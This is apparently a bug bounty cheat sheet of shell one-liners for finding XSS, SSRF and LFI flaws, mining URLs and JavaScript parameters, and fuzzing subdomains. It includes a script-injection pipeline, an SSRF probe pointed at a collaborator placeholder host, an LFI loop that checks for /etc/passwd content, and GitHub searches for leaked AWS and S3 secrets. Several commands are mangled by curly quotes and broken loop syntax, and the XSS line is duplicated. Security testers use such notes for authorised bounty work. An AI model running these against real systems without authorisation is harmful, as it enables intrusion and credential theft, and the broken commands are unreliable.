Bug BOunty Helpful Commands

 

cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done

>>. to get urls from websites.... waybackurls target.com | tee urlss.txt

dalfox file urlss.txt pipe 

 XSS 

 cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done

SSRF

findomain -t example.com -q | httpx -silent -threads 1000 | gau |  grep “=” | qsreplace http://YOUR.burpcollaborator.net

LFI

Follow this command to find LFI

findomain -t example.com -q |  waybackurls |gf lfi | qsreplace FUZZ | while read url ; do ffuf -u $url -mr “root:x” -w ~/wordlist/LFI.txt ; done

find JS files on target.com

https://qiwi.com/.resources/qiwi-com-theme/webresources/js/qiwi.min~2015-10-08-07-49-16-000~cache.js

Find hidden GET parameters in javascript files

assetfinder example.com | gau | egrep -v '(.css|.png|.jpeg|.jpg|.svg|.gif|.wolf)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Z0-9]+" | sed -e 's,'var','"$url"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'); echo -e "\e[1;33m$url\n\e[1;32m$vars"; done

Finding API End Point

cat js | grep -o -E "(https?://)?/?[{}a-z0-9A-Z_\.-]{2,}/[{}/a-z0-9A-Z_\.-]+"

Github Recon

org:Target "bucket_name"

org:Target "aws_access_key"

org:Target "aws_secret_key"

org:Target "S3_BUCKET"

org:Target "S3_ACCESS_KEY_ID"

org:Target "S3_SECRET_ACCESS_KEY"

org:Target "S3_ENDPOINT"

org:Target  "AWS_ACCESS_KEY_ID"

org:Target  "list_aws_accounts"

All in One Sub-Domains Directory Fuzzing

findomain -t exmple.com | sed 's#*.# #g' | httpx -silent -threads 10 | xargs -I@ sh -c 'ffuf -w path.txt -u @/FUZZ -mc 200'